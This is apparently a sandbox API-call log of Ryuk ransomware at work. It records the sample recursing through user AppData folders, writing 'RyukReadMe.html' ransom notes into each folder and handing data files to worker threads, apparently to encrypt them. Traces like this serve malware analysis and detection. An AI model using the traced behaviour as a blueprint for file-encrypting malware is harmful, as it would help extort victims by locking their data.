	[0225.794] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95014270, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0x95014270, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x95014270, ftLastWriteTime.dwHighDateTime=0x1d2fab5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1
	[0225.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748
	[0225.802] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.804] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0225.804] SetLastError (dwErrCode=0x0) 
	[0225.804] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c
	[0225.805] GetLastError () returned 0xb7
	[0225.805] CloseHandle (hObject=0x75c) returned 1
	[0225.805] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0225.806] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.806] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1
	[0225.806] SetLastError (dwErrCode=0x0) 
	[0225.806] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.806] GetLastError () returned 0x3
	[0225.806] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.807] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.807] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.807] SetLastError (dwErrCode=0x0) 
	[0225.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.807] GetLastError () returned 0x3
	[0225.807] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.807] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.807] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1
	[0225.807] SetLastError (dwErrCode=0x0) 
	[0225.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.807] GetLastError () returned 0x3
	[0225.808] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.808] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.808] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.808] SetLastError (dwErrCode=0x0) 
	[0225.808] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.808] GetLastError () returned 0x3
	[0225.808] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.809] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0
	[0225.809] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0225.809] SetLastError (dwErrCode=0x0) 
	[0225.809] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.809] GetLastError () returned 0x3
	[0225.809] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0225.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.810] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0
	[0225.810] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0225.810] SetLastError (dwErrCode=0x0) 
	[0225.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0225.810] GetLastError () returned 0xb7
	[0225.811] CloseHandle (hObject=0x724) returned 1
	[0225.811] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0225.811] SetLastError (dwErrCode=0x0) 
	[0225.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0225.811] GetLastError () returned 0xb7
	[0225.811] CloseHandle (hObject=0x724) returned 1
	[0225.812] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0225.815] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.815] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0225.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0225.847] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.848] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf33a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x1de, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0225.849] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0225.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0225.866] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.867] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0225.867] SetLastError (dwErrCode=0x0) 
	[0225.867] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0225.871] GetLastError () returned 0x0
	[0225.871] WriteFile (in: hFile=0x77c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0225.875] CloseHandle (hObject=0x77c) returned 1
	[0225.875] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0225.876] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.876] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0225.876] SetLastError (dwErrCode=0x0) 
	[0225.876] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.877] GetLastError () returned 0x3
	[0225.877] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.877] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0225.877] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0225.877] SetLastError (dwErrCode=0x0) 
	[0225.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.877] GetLastError () returned 0x3
	[0225.877] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0225.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.878] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0225.878] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0225.878] SetLastError (dwErrCode=0x0) 
	[0225.878] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.878] GetLastError () returned 0x3
	[0225.878] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0225.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
